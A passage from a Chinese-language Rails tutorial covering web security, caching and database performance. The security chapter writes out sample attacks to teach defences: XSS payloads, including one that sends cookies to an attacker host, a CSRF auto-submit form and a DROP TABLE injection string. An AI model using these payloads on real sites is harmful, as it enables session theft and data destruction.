還是最不用煩惱的模型,除非您對Multi-Threaded或Event-Drivened模型有比較深入的了解,知道如何撰寫Thread-Safe的程式、知道Evented-driven的原理和限制,否則筆者還是保守建議使用Milti-Process模型的Ruby伺服器。 ## 更多線上資源 * [Deploying Ruby on Rails is easy](http://rubyonrails.org/deploy) * [App Server Arena: Part 2, A Comparison of Popular Ruby Application Servers](https://blog.engineyard.com/2014/ruby-app-server-arena-pt2)
';

網路安全

最后更新于:2022-04-01 02:31:43

> If you’re the smartest person in the room, you’re in the wrong room. - Unknown 一旦你的網站要放到網際網路上,你就得接受被駭客攻擊的風險,小則倒站,大則使用者資料被竊取。而從網路設備、作業系統、網站伺服器、資料庫到應用程式,有高達75%的攻擊主要都發生在網站應用程式這一層,因此身為網站開發者的你,對於網路安全不能沒有基本的認識。 所幸Rails本身就內建了許多安全機制,像是SQL injection、XSS和CSRF等,可以幫助我們防範常見的數種網路攻擊,這一章會介紹幾個網路安全上的防範重點。 關於網路安全,有幾點觀念值得一提: * 不像做功能有就有,沒有就沒有。網路安全只能說相對比較安全。 * 不需要花太多功夫,網站就可以有足夠的安全性。但是如果需要極高的安全需求,花費的成本才會大幅提昇。 安全性有時和使用性(usability)*有時是衝突的,想要越高的安全性可能導致功能越難用(想想驗證碼吧)。這在設計上需要取捨。 * 安全性必須是設計軟體一開始就必須考量到 當然,還有一項最重要的網路安全黃金守則:「千萬不要相信使用者輸入進來的資料」。使用者是邪惡的,他們會有不預期的操作和輸入不正常的資料。 ## 跨站腳本攻擊XSS(Cross-Site Scripting) XSS可說是網站界第一名常見的攻擊模式,惡意的使用者可以將腳本程式碼放在網頁上讓其他使用者執行,任何可以讓使用者輸入資料的網站,都必須小心這個問題。例如可以將以下的程式貼到網頁上: ~~~ <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> ~~~ 當一般使用者瀏覽到這一頁時,就會跳出alert視窗,或是將敏感資料例如cookie內容傳給攻擊者。 要防範這個問題的方法,就是要逸出使用者輸入的內容,例如將`<script>`變成`&lt;script&gt;`,使之顯示出來的時候不讓瀏覽器去執行。你可以會想只要逸出`<script>`就好了吧?這就錯了,請千萬不要嘗試建立黑名單過濾,你可以參觀[XSS Cheat Sheet](http://ha.ckers.org/xss.html)這個網站,就會知道有非常多形式可以讓瀏覽器去執行腳本程式。因此最簡單又保險的方式,就是全部逸出。這在Rails 3版本已經變成預設行為,任何View樣本的字串,都會做HTML溢出。 如果你知道資料是安全的不要逸出,這時你要用`html_safe`或`raw`方法: ~~~ "<p>safe</p>".html_safe # 或 raw("<p>safe</p>") ~~~ > 在Rails 3之前不會自動逸出,因此在樣板中需要加`escapeHTML()`或`h()`方法。也因為很多人常常會忘記造成XSS漏洞,所以在Rails 3之後就改成預設逸出了。 ### 如何開放使用者張貼HTML 但是有時候我們還是必須開放讓使用者可以張貼簡單的HTML內容,例如超連結、圖片、標題等等。這時候我們可以用白名單的作法,Rails提供了`sanitize()`方法可以過濾溢出。 > 即使使用Textile或Markdown語法,你還是必須過濾HTML標籤。 ## 跨站偽造請求CSRF(Cross-site request forgery) CSRF是說攻擊者可以利用別人的權限去執行網站上的操作,例如刪除資料。例如,攻擊者張貼了以下腳本到網頁上: ~~~ <img src="/posts/delete_all"> ~~~ 攻擊者自己當然是沒有權限可以執行”/posts/delete_all”這一頁,但是網站管理員有。當網站管理員看到這一頁時,瀏覽器就觸發了這個不預期的動作而把資料刪除。 要防範CSRF,首先可以從區別GET和POST的HTTP請求開始。我們在路由一章提過:所有讀取、查詢性質操作,都應該用GET,而會修改或刪除到資料的,則要用POST、PATCH/PUT或DELETE。這樣的設計,就可以防止上面的惡意程式碼了,因為在瀏覽器中必須用表單form才能送出POST請求。 不過,這樣還不夠。因為即使是POST,瀏覽器還是可能不經過你同意而自動發送出去,例如: ~~~ <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a> ~~~ 所幸,Rails內建了CSRF防禦功能,也就是所有的POST請求,都必須加上一個安全驗證碼。在app/controllers/application_controller.rb你會看到以下程式啟用這個功能: ~~~ class ApplicationController < ActionController::Base protect_from_forgery with: :exception end ~~~ 這個功能會在所有的表單中自動插入安全驗證碼: ~~~ <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="patch" /> <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div> ~~~ 如果POST請求沒有帶正確的驗證碼,Rails就會丟出一個`ActionController:InvalidAuthenticityToken`的錯誤。 > Layout中也有一段`<%= csrf_meta_tags %>`是給JavaScript讀取驗證碼用的。 ## SQL injection注入攻擊 SQL injection注入是說攻擊者可以輸入任意的SQL讓網站執行,這可說是最有殺傷力的攻擊。如果你寫出以下這種直接把輸入放在SQL條件中的程式: ~~~ Project.where("name = '#{params[:name]}'") ~~~ 那麼使用者只要輸入: ~~~ x'; DROP TABLE users; -- ~~~ 最後執行的SQL就會變成 ~~~ SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’ ~~~ 其中的`;`結束了第一句,第二句`DROP TABLE users;`就讓你欲哭無淚。 > Exploits of a Mom[http://xkcd.com/327/](http://xkcd.com/327/) 要處理這個問題,也是一樣要對任何有包括使用者輸入值的SQL語句做逸出。在Rails ActiveRecord的where方法中使用Hash或Array寫法就會幫你處理,所以請一定都用這種寫法,而不要使用上述的字串參數寫法: ~~~ Project.where( { :name => params[:name] } ) # or Project.where( ["name = ?", params[:name] ] ) ~~~ 如果你有用到以下的方法,ActiveRecord是不會自動幫你逸出,要特別注意: * find_by_sql * execute * where 用字串參數 * group * order 你可以自定一些固定的參數,並檢查使用者輸入的資料,例如: ~~~ class User < ActiveRecord::Base def self.find_live_by_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) where( :status => "live" ).order(order) end end ~~~ 或是手動呼叫`ActiveRecord::Base::connection.quote`方法: ~~~ class User < ActiveRecord::Base def self.find_live_by_order(order) where( :status => "live" ).order( connection.quote(order) ) end end ~~~ ## 大量賦值(Mass assignment) Mass assignemet是個Rails專屬,因為太方便而造成的安全性議題。ActiveRecord物件在新建或修改時,可以直接傳入一個Hash來設定屬性(這功能叫做Mass assignment),所以我們可以直接將網頁表單上的參數直接丟進放進去: ~~~ def create # 假設表單送出 params[:user] 參數是 # {:name => “ihover”, :email => "ihover@gmail.com", :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update(params[:user]) end ~~~ 但是這個Model包含一些敏感屬性,例如此例中is_admin是個辨別是否是管理員的Boolean值,惡意的使用者可以直接修改HTML表單送出`is_admin=true`,造成了安全上的漏洞,所以以上的程式實際上會出現`ActiveModel::ForbiddenAttributesError`的安全錯誤訊息。 為了解決這個問題,Rails使用了[Strong Parameters](https://github.com/rails/strong_parameters)的機制來檢查`params`參數必須經過檢查才可以做Mass assignment,例如上述的程式必須改成: ~~~ def create @user = User.create(user_params) end def update @user = User.update(user_params) end protected def user_params params.require(:user).permit(:name, :email) end ~~~ 這樣才可以一次賦值`name`和`email`。 當然,如果你沒有Mass assignment的需求,大可不必用到Strong Parameters技巧,例如以下的程式也是可以運作的: ~~~ def create @user = User.create( :name => params[:user][:name], :email => params[:user][:email] ) end ~~~ ## Symbolize 問題 symbol是Ruby中常用的型態,相較於字串可以獲得更好的執行效率,其佔用記憶體較少,但其特性是不會被GC(garbage collection)記憶體回收的。因此只適合程式內部有限的情況中使用,而不要將使用者可以任意輸入的參數做symbol化,例如: ~~~ if params[:category].to_sym == :first # 此例直接比較字串即可 params[:category] == "first" # do something end ~~~ 這樣為什麼會有安全性問題呢?這是因為如果惡意的使用者不斷送出任意字元進行DoS(Denial of service attack)攻擊,那麼程式就會不斷把`params[:category]`做symbolize,產生無法回收的記憶體,進而把記憶體全部用光。 ## 不受限的資訊查詢 當你需要根據使用者傳進來的`params[:id]`做資料查詢的時候,你需要注意查詢的範圍,例如以下是找訂單: ~~~ def show @order = Order.find(params[:id]) end ~~~ 使用者只要隨意變更`params[:id]`,就可以查到別人的訂單,你可能會寫出以下的程式來防範: ~~~ def show @order = Order.find(params[:id]) if @order.user_id != current_user.id render :text => "你沒有權限" return end end ~~~ 不過這是多餘的寫法,你其實只要透過ActiveRecord限定範圍即可: ~~~ def show @order = current_user.orders.find(params[:id]) end ~~~ 這樣如果沒權限,就會變成找不到資料而已。 ## 敏感資訊處理 網站的敏感資訊,例如密碼、信用卡卡號等,請不要存在以下空間: * cookie * session * flash * 長時間放在記憶體中 * Log檔案 * 快取 其中Rails內建了log敏感資訊過濾的功能,在config/initializers/filter_parameter_logging.rb有一行這樣的設定: ~~~ Rails.application.config.filter_parameters += [:password] ~~~ 假設移除這一行,當使用者註冊時輸入密碼,Log檔案就會記錄: ~~~ Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ~~~ 其中的原始password就會被記錄下來的,非常地不好。如果套用上述的設定,Rails則會過濾成: ~~~ Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"} ~~~ 這樣就毫無記錄了。 ## 投影片 * [Rails Security Best Practices](http://www.slideshare.net/ihower/rails-security-3299368) ## 其他線上資源 * [Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html) * [The Open Web Application Security Project](http://www.owasp.org/)
';

快取

最后更新于:2022-04-01 02:31:41

> No code is faster than no code. - Merb core tenet 關於快取,有句話是這樣說的:“There are only two hard things in Computer Science: cache invalidation and naming things” by Phil Karlton。在電腦硬體和軟體架構中,有非常多的設計都是圍繞在快取系統上,越快的效能代表可用的空間越少,這是成本效益。例如個人電腦上的CPU的快取分成L1、L2、L3,然後是記憶體、最後是硬碟空間,這之間的存取速度和可用空間差了好幾個數量級,前者對後者來說,就是一種快取層。而資料一旦被放到快取,就要去處理資料的Consistent一致性問題。設計網站應用程式也是一樣的道理,將運算過後的結果快取起來,下次要用不計算直接讀取就會比較快。但是什麼時候快取資料過期了需要重新運算呢?這就是令人頭痛的cache invalidation問題。 我們在上一章努力避免緩慢的資料庫SQL查詢,但是如果效能需要再進一步提昇,就需要用到快取機制來減少讀取資料庫,以及利用View快取節省樣板rendering時間。 關於實作快取,有幾點觀念: * 快取處太多,程式會變複雜,增加維護的難度 * 快取會增加除錯難度,資料不再只有唯一的資料庫版本 * 快取如果沒寫好,可能會產生資料不一致的Bug、時間顯示相關的Bug等等 * 快取增加了寫程式的難度,像是Expire過期資料、資料的安全性(放在快取層的資料也需要被保護注意安全) * 會增加撰寫UI的難度,因為快取相關的程式可能會混在樣本中 Rails內建了快取功能,可以讓我們將SQL結果或是HTML結果放到Cache Store中,這樣下一次就不需要重新運算,大幅提高效能。 ## Cache Store Rails提供了幾種不同的Cache Store可以選擇,預設的memory_store只適合單機開發,而且重啟Rails快取資料就不見了。因此正式上線的網站會推薦使用[Memcached](http://memcached.org/)。它是一套Name-Value Pair(NVP)分散式記憶體快取系統,當你有多個Rails伺服器的時候,也可以很方便的共用快取資料。 使用Mac的話,可以用Homebrew安裝Memcached: ~~~ $ brew install memcached ~~~ 編輯Gemfile加上memcached的函式庫 ~~~ gem "dalli" ~~~ 編輯config/environments/development.rb和production.rb加上 ~~~ config.cache_store = :mem_cache_store ~~~ > 快取在開發模式下是關閉的,為了測快取功能可以暫時將confog/environments/development.rb裡面的`config.action_controller.perform_caching`暫時改成`true`,記得測完改回`false`即可。 使用memcached做快取的基本模式就是,先查看有沒有key-value,有就把快取資料讀出來,沒有就運算結果後存到memcached快取資料庫中(你應該假設就算快取系統關閉,你的系統也可以正常執行)。注意到它並不是persistent data store,只要一關掉memcahed重開,裡面的資料就會通通不見。另一個特性是它使用[LRU](http://en.wikipedia.org/wiki/Cache_algorithms)快取演算法(預設是64MB),當快取的資料超過設定的記憶體容量時,就是自動清除太久沒有使用的資料,這個特性等會我們會看到非常實用。 更深入的memcached用法可以參考筆者[如何使用 memcached 做快取](http://ihower.tw/blog/archives/1768)一文。 ## View 快取 Fragment caching可以只快取HTML中的一小段元素,我們可以自由選擇要快取的區塊,例如側欄或是選單等等,讓我們有最大的彈性。也因為這種快取發生在View中,所以我們必須把快取程式放進View中,用`cache`包起來要快取的Template: ~~~ <% cache [@events] do %> All events: <% @events.each do |event| %> <%= event.name %> <% end %> <% end %> ~~~ `cache`的參數是拿來當作快取Key的物件或名稱,我們也可以多加一些名稱來識別。Rails會自動將ActiveRecord物件的最後更新時間、你給的客製名稱,加上Template的內容雜湊自動產生出一個快取Key。 ~~~ <% cache [:popular, @events] do %> All popular events: <% end %> ~~~ ### 更新快取的策略 用了快取,就還要學會怎麼處理過期資料,也就是在資料過期之後,將對應的快取資料清除。Rails採用的策略非常聰明,就是利用LRU快取演算法的特性,根據當時情境來動態命名快取Key,從而避免手動清除快取的動作,反正快取記憶體一滿,沒用到的快取資料就會自動被清除掉。 實際看看Rails產生出來的快取Key吧,例如`cache [@event]`會產生出以下的快取Key ~~~ views/events/3-20141130131120000000000/366bcee2ae9bd3aa0738785aea6ec97d ~~~ 其中`3`是Event ID、`20141130131120000000000`是這個Event的最後更新時間、`366bcee2ae9bd3aa0738785aea6ec97d`是這個Template內容的雜湊。也就是如果資料有更新,或是Template有改動,那麼產生出來的快取Key就會不一樣,產生出新的快取資料。至於舊的快取資料就不管了,反正滿了就會被LRU自動清掉。 如果放一個ActiveRecord陣列呢,例如`cache [:list, @events]`,會產生出以下的快取Key: ~~~ views/list/events/3-20141130131120000000000/events/4-20141111035115000000000/events/7-20141130131005000000000/events/8-20141111035115000000000/events/9-20141111035115000000000/bbce07d6df6dd28670ad114790c47484 ~~~ Rails會將所有的最後更新時間都串在一起,只要其中一個最後更新有改,整個快取資料就會重新產生。 這一招當然也不是萬能,例如如果你的資料跟當時語系又有關係,那你就得把語系這個變數也設定到快取Key,例如 ~~~ <% cache [:list, @events, I18n.locale] %> ~~~ 當然,我們也可以找地方手動清除快取,例如放到update action之中: ~~~ expire_fragment(:popular_events) ~~~ > 用rake tmp:clear指令可以清空全部快取 另一種快取更新的策略是設定Time-based expired,例如設定兩小時後自動過期: ~~~ <% cache :popular_events, :expire_in => 2.hours do %> ~~~ ### 調校快取Key 做View快取的一個目的就是節省SQL的查詢量,所以實測的一個重點,就是要觀察實際到底發出哪些SQL查詢。在上述的範例中,Rails用了ActiveRecord的最後更新時間來產生快取Key,因此實際上它還是發出SQL查詢來抓到最後更新時間。這部份我們可以做進一步的改進,特別是`cache(@events)`群集的部分,我們可以用自訂快取Key的方式來改善SQL的效率,例如: ~~~ # helper def cache_key_for_events(page) count = Event.count max_updated_at = Event.maximum(:updated_at).try(:utc).try(:to_s, :number) "events/all-#{count}-#{max_updated_at}-#{page}" end <% cache cache_key_for_events(params[:page]) do %> ~~~ 這樣就實際的SQL查詢就會從: ~~~ SELECT `events`.* FROM `events` LIMIT 10 OFFSET 0 ~~~ 變成比較有效率的: ~~~ SELECT COUNT(*) FROM `events` SELECT MAX(`events`.`updated_at`) AS max_id FROM `events` ~~~ 另外要注意是因為有ActiveRecord的Lazy Load特性,所以寫在Controller Action裡的ActiveRecord Query才不會立即送出,而是到真正使用的時候(也就是在Fragment cache範圍裡)才會實際發出SQL查詢。如果真沒有辦法利用到Lazy Load的特性,例如不是ActiveRecord的情況,則可以手動使用`fragment_exist?`方法在Action裡面檢查是不是已經有快取,有的話就不要執行,例如: ~~~ def show @event = Event.find(params[:id]) unless fragment_exist?(@event) @result = SomeExpenseQuery.execute(@event) end end # show.html.erb <% cache @event do %> <%= @event.name %> <%= @result %> <% end %> ~~~ ### Russian Doll快取策略 上述`cache [:list, @events]`的範例中,如果其中一筆資料有更新,會造成整組`@events`快取資料都要重新計算,這一點很沒效率。Rails支援nested的疊套方式讓我們可以重用(reuse)其中的快取資料,例如: ~~~ <% cache [:list, @events] %> All events: <% @events.each do |event| %> <% cache event do %> <%= event.name %> <% end %> <% end %> <% end %> ~~~ 如果其中一筆event有更新,最外圍的快取也會一起更新,但是它不會笨笨的重算每一個小event的快取,只會重算有更新的event而已,其他event則會沿用已經有的快取資料。 ### ActiveRecord Touch 屬性 被當作快取Key的ActiveRecord物件的最後更新時間`updated_at`,在一對一或一對多的關係中,預設並不會根據底下的物件而自動更新。例如以下的例子中,如果有新的attendee進來,並不會自動更新該event的最後更新時間,會導致這整個快取不會被更新到。 ~~~ <% cache event do %> <%= event.name %> <%= event.attendees.last.try(:name) %> <% end %> ~~~ 解決的辦法是使用Touch屬性: ~~~ class Attendee < ActiveRecord::Base belongs_to :event, :touch => true # ... end ~~~ 這樣的話,在新增或編輯attendee後,Rails就會知道要去更新event的最後更新時間,進而重新更新的這份快取了。 ## 快取資料 上述的作法都是將最後的HTML結果快取起來,但是有時候如果形式有很多種,例如同時提供HTML、JSON、XML等,或是有其他程式也想利用同一份快取,這時候我們可以考慮快取資料(字串、陣列或雜湊的基本形式),而不是最後的HTML: ~~~ Rails.cache.read("city") # => nil Rails.cache.write("city", "Duckburgh") Rails.cache.read("city") # => "Duckburgh" Rails.cache.fetch("#{id}-data") do Book.sum(:amount, :conditions => { :category_id => self.category_ids } ) end ~~~ `write`和`fetch`支援`expires_in`參數可以設定時效。 ## 使用HTTP快取 在HTTP 1.1規格中定義了Cache-Control、ETag和Last-Modified等Headers可以更細微的設定用戶端和伺服器之間要如何快取,Rails也有語法可以很方便的支援。這在大型網站的架構中,會搭配HTTP快取伺服器,來獲得最大的效益。例如[Varnish](https://www.varnish-cache.org/)或[Squid](http://www.squid-cache.org/)。 ### HTTP Cache-Control 使用`expires_in`和`expires_now`方法。 ### HTTP ETag 和 Last-Modified 使用`fresh_when`和`stale?`方法,當判斷response內容沒有更新的時候,只回傳HTTP 304 Not Modified。 ## 其他線上資源 * [Caching with Rails: An overview](http://guides.rubyonrails.org/caching_with_rails.html) * [Google Developers: HTTP 快取](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching)
';

網站效能

最后更新于:2022-04-01 02:31:39

> We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil - Donald Knuth 即使程式的執行結果正確,但是如果你的網站效能不佳,載入頁面需要花很久時間,那們網站的使用性就會變得很差,甚至慢到無法使用。硬體的進步雖然可以讓我們不必再斤斤計較程式碼的執行速度,但是開發者還是需要擁有合理的成本觀念,要買快十倍的CPU或硬碟不只花十倍的錢也買不到,帶來的效能差異還不如你平常就避免寫出拖慢效能十倍甚至百倍的程式碼。 效能問題其實可以分成兩種,一種是完全沒有意識到抽象化工具、開發框架的效能盲點,而寫下了執行效能差勁的程式碼。另一種則是對現有程式的效能不滿意,研究如何最佳化,例如利用快取機制隔離執行速度較慢的高階程式,來大幅提昇執行效能。 這一章會先介紹第一種問題,這是一些使用Rails這種高階框架所需要注意的效能盲點(anti-patterns),避免寫出不合理執行速度的程式。接下來,我們再進一步學習如何最佳化Rails程式。下一章則介紹使用快取機制來大幅增加網站效能。 > 另一個你會常聽到的名詞是擴展性(Scalability)。網站的擴展性不代表絕對的效能,而是研究如何在合理的硬體成本下,可以透過水平擴展持續增加系統容量。 ## ActiveRecord和SQL ActiveRecord抽象化了SQL操作,是頭號第一大效能盲點所在,你很容易沉浸在他帶來的開發高效率上,忽略了他的效能盲點直到上線爆炸。存取資料庫是一種相對很慢的I/O的操作:每一條SQL query都得耗上時間、執行回傳的結果也會被轉成ActiveRecord物件全部放進記憶體,會不會佔用太多?因此你得對會產生出怎樣的SQL queries有基本概念。 ### N+1 queries N+1 queries是資料庫效能頭號殺手。ActiveRecord的Association功能很方便,所以很容易就寫出以下的程式: ~~~ # model class User < ActieRecord::Base has_one :car end class Car < ActiveRecord::Base belongs_to :user end # your controller def index @users = User.page(params[:page]) end # view <% @users.each do |user| %> <%= user.car.name %> <% end %> ~~~ 我們在View中讀取`user.car.name`的值。但是這樣的程式導致了N+1 queries問題,假設User有10筆,這程式會產生出11筆Queries,一筆是查User,另外10筆是一筆一筆去查Car,嚴重拖慢效能。 ~~~ SELECT * FROM `users` LIMIT 10 OFFSET 0 SELECT * FROM `cars` WHERE (`cars`.`user_id` = 1) SELECT * FROM `cars` WHERE (`cars`.`user_id` = 2) SELECT * FROM `cars` WHERE (`cars`.`user_id` = 3) ... ... ... SELECT * FROM `cars` WHERE (`cars`.`user_id` = 10) ~~~ 解決方法,加上`includes`: ~~~ # your controller def index @users = User.includes(:car).page(params[:page]) end ~~~ 如此SQL query就只有兩個,只用一個就撈出所有Cars資料。 ~~~ SELECT * FROM `users` LIMIT 10 OFFSET 0 SELECT * FROM `cars` WHERE (`cars`.`user_id` IN('1','2','3','4','5','6','7','8','9','10')) ~~~ > [Bullet](http://github.com/flyerhzm/bullet)是一個外掛可以在開發時偵測N+1 queries問題。 ### 索引(Indexes) 沒有幫資料表加上索引也是常見的效能殺手,作為搜尋條件的資料欄位如果沒有加索引,SQL查詢的時候就會一筆筆檢查資料表中的所有資料,當資料一多的時候相差的效能就十分巨大。一般來說,以下的欄位都必須記得加上索引: * 外部鍵(Foreign key) * 會被排序的欄位(被放在`order`方法中) * 會被查詢的欄位(被放在`where`方法中) * 會被group的欄位(被放在`group`方法中) 如何幫資料庫加上索引請參考[Migrations](https://ihower.tw/rails4/migrations.html)一章。 > [rails_indexes](http://github.com/eladmeidar/rails_indexes)提供了Rake任務可以幫忙找忘記加的索引。 ### 使用select ActiveRecord預設的SQL會把所有欄位的資料都讀取出來,如果其中有text或binary欄位資料量很大,就會每次都佔用很多不必要的記憶體拖慢效能。使用select可以只讀取出你需要的資料: ~~~ Event.select(:id, :name, :description).limit(10) ~~~ 進一步我們可以利用scope先設定好select範圍: ~~~ class User < ActiveRecord::Base scope :short, -> { select(:id, :name, :description) } end User.short.limit(10) ~~~ ### 有些情況可以用joins取代includes ~~~ Group.includes(:group_memberships).where( ["group_memberships.created_at > ?", Time.now - 30.days ] ) ~~~ 以上的查詢只有在條件中用到group_memberships,所以可以換成joins增加效率: ~~~ Group.joins(:group_memberships).where( ["group_memberships.created_at > ?", Time.now - 30.days ] ) ~~~ ### Counter cache 如果需要常計算has_many的Model有多少筆資料,例如顯示文章列表時,也要顯示每篇有多少留言回覆。 ~~~ <% @topics.each do |topic| %> 主題:<%= topic.subject %> 回覆數:<%= topic.posts.size %> <% end %> ~~~ 這時候Rails會產生一筆筆的SQL count查詢: ~~~ SELECT * FROM `posts` LIMIT 5 OFFSET 0 SELECT count(*) AS count_all FROM `posts` WHERE (`posts`.topic_id = 1 ) SELECT count(*) AS count_all FROM `posts` WHERE (`posts`.topic_id = 2 ) SELECT count(*) AS count_all FROM `posts` WHERE (`posts`.topic_id = 3 ) SELECT count(*) AS count_all FROM `posts` WHERE (`posts`.topic_id = 4 ) SELECT count(*) AS count_all FROM `posts` WHERE (`posts`.topic_id = 5 ) ~~~ Counter cache功能可以把這個數字存進資料庫,不再需要一筆筆的SQL count查詢,並且會在Post數量有更新的時候,自動更新這個值。 首先,你必須要在Topic Model新增一個欄位叫做posts_count,依照慣例是`_count`結尾,型別是integer,有預設值0。 ~~~ rails g migration add_posts_count_to_topic ~~~ 編輯Migration: ~~~ class AddPostsCountToTopic < ActiveRecord::Migration def change add_column :topics, :posts_count, :integer, :default => 0 Topic.pluck(:id).each do |i| Topic.reset_counters(i, :posts) # 全部重算一次 end end end ~~~ 編輯Models,加入`:counter_cache => true`: ~~~ class Topic < ActiveRecord::Base has_many :posts end class Posts < ActiveRecord::Base belongs_to :topic, :counter_cache => true end ~~~ 這樣同樣的`@topic.posts.size`程式,就會自動變成使用`@topic.posts_count`,而不會用SQL count查詢一次。 ### Batch finding 如果需要撈出全部的資料做處理,強烈建議最好不要用all方法,因為這樣會把全部的資料一次放進記憶體中,如果資料有成千上萬筆的話,效能就墜毀了。解決方法是分次撈,每次幾撈幾百或幾千筆。雖然自己寫就可以了,但是Rails提供了Batch finding方法可以很簡單的使用: ~~~ Article.find_each do |a| # iterate over all articles, in chunks of 1000 (the default) end Article.find_each( :batch_size => 100 ) do |a| # iterate over published articles in chunks of 100 end ~~~ 或是 ~~~ Article.find_in_batches do |articles| articles.each do |a| # articles is array of size 1000 end end Article.find_in_batches( :batch_size => 100 ) do |articles| articles.each do |a| # iterate over all articles in chunks of 100 end end ~~~ ### Transaction for group operations 在Transaction交易範圍內的SQL效能會加快,如果是相關的SQL可以包在一起。 ~~~ my_collection.each do |q| Quote.create({:phrase => q}) end # Add transaction Quote.transaction do my_collection.each do |q| Quote.create({:phrase => q}) end end ~~~ ### Use Constant for domain data 不會變的資料可以用常數在Rails啟動時就放到記憶體。 ~~~ class Rating < ActiveRecord::Base G = Rating.find_by_name('G') PG = Rating.find_by_name('PG') R = Rating.find_by_name('R') #.... end Rating::G Rating::PG Rating::R ~~~ > 注意在development mode中不會作用,要在production mode才有快取效果。 ### 全文搜尋Full-text search engine 如果需要搜尋text欄位,因為資料庫沒辦法加索引,所以會造成table scan把資料表所有資料都掃描一次,效能會非常低落。這時候可以使用外部的全文搜尋伺服器來做索引,目前常見有以下選擇: * [Elasticsearch](http://www.elasticsearch.org/)全文搜尋引擎和[elasticsearch-rails](https://github.com/elasticsearch/elasticsearch-rails) gem * [Apache Solr(Lucenel)](http://lucene.apache.org/solr/)全文搜尋引擎和[Sunspot](https://github.com/sunspot/sunspot) gem * PostgreSQL內建有全文搜尋功能,可以搭配 [texticle](https://github.com/textacular/textacular) gem或[pg_search](https://github.com/Casecommons/pg_search) gem * [Sphinx](http://sphinxsearch.com/)全文搜尋引擎和[thinking_sphinx](http://freelancing-god.github.com/ts/en/) gem ### SQL 分析 [QueryReviewer](https://github.com/nesquena/query_reviewer)這個套件透過`SQL EXPLAIN`分析SQL query的效率。 另外在Rails 3.2的開發模式中,有以下的設定: ~~~ # Log the query plan for queries taking more than this (works # with SQLite, MySQL, and PostgreSQL). # config.active_record.auto_explain_threshold_in_seconds = 0.5 ~~~ 當SQL執行超過0.5秒,就會自動幫你分析在Log裡。 ### 逆正規化(de-normalization) 一般在設計關聯式資料庫的table時,思考的都是正規化的設計。透過正規化的設計,可以將資料不重複的儲存,省空間,更新也不易出錯。但是這對於複雜的查詢有時候就力有未逮。因此必要時可以採用逆正規化的設計。犧牲空間,增加修改的麻煩,但是讓讀取這事件變得更快更簡單。 上述章節的Counter cache,其實就是一種逆正規化的應用,只是Rails幫你包裝好了。如果你要自己實作的話,可以善用Callback或Observer來作更新。以下是一個應用的範例,Event的總金額,是透過Invoice#amount的總和得知。另外,我們也想知道該活動最後一筆Invoice的時間: ~~~ class Event < ActiveRecord::Base has_many :invoices def amount self.invoices.sum(:amount) end def last_invoice_time self.invoices.last.created_at end end class Invoice < ActiveRecord::Base belongs_to :event end ~~~ 如果有一頁是列出所有活動的總金額和最後Invoice時間,那麼這一頁就會產生2N+1筆SQL查詢(N是活動數量)。為了改善這一頁的讀取效能,我們可以在events資料表上新增兩個欄位amount和last_invoice_time。首先,我們新增一個Migration: ~~~ add_column :events, :amount, :integer, :default => 0 add_column :events, :last_invoice_time, :datetime # Data migration current data Event.find_each do |e| e.amount = e.invoices.sum(:amount) e.last_invoice_time = e.invoices.last.try(:created_at) # e.invoices.last 可能是 nil e.save(:validate => false) end ~~~ 接著程式就可以改成: ~~~ class Event < ActiveRecord::Base has_many :invoices def update_invoice_cache self.amount_cache = self.invoices.sum(:amount) self.last_invoice_time = self.invoices.last.try(:created_at) self.save(:validate => false) end end class Invoice < ActiveRecord::Base belongs_to :event after_save :update_event_cache_data protected def update_event_cache_data self.event.update_invoice_cache end end ~~~ 如此就可以將成本轉嫁到寫入,而最佳化了讀取時間。 ## 最佳化效能 關於程式效能最佳化,Donald Knuth大師曾開示「We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil”」,在效能還沒有造成問題前,就為了優化效能而修改程式和架構,只會讓程式更混亂不好維護。 也就是說,當效能還不會造成問題時,程式的維護性比考慮效能重要。80/20法則:會拖慢整體效能的程式,只佔全部程式的一小部分而已,所以我們只最佳化會造成問題的程式。接下來的問題就是,如何找到那一小部分的效能瓶頸,如果用猜的去找那3%造成效能問題的程式,再用感覺去比較改過之後的效能好像有比較快,這種作法一點都不科學而且浪費時間。善用分析工具找效能瓶頸,最佳化前需要測量,最佳化後也要測量比較。 把所有東西都快取起來並不是解決效能的作法,這只會讓程式有更多的一致性問題,更難維護。另外也不要跟你的框架過不去,硬是要去改Rails核心,這會導致程式有嚴重的維護性問題。最後,思考出正確的演算法總是比埋頭改程式有效,只要資料一大,不論程式怎麼改,挑選O(1)的演算法一定就是比O(n)快。 ## 效能分析工具 效能分析工具可以幫助我們找到哪一部分的程式最需要效能優化,哪些部分最常被使用者執行,如果能夠優化效益最高。 * [request-log-analyzer](http://github.com/wvanbergen/request-log-analyzer)這套工具可以分析Rails log檔案 * 透過商業Monitor產品:[New Relic](http://www.newrelic.com/)、[Scout](http://www.scoutapp.com/) * Rack::Bug Rails middleware 可以在開發的時候,插入一個工具列分析每個request * ruby-prof gem * Rails command line ## 效能量測 * Benchmark standard library * 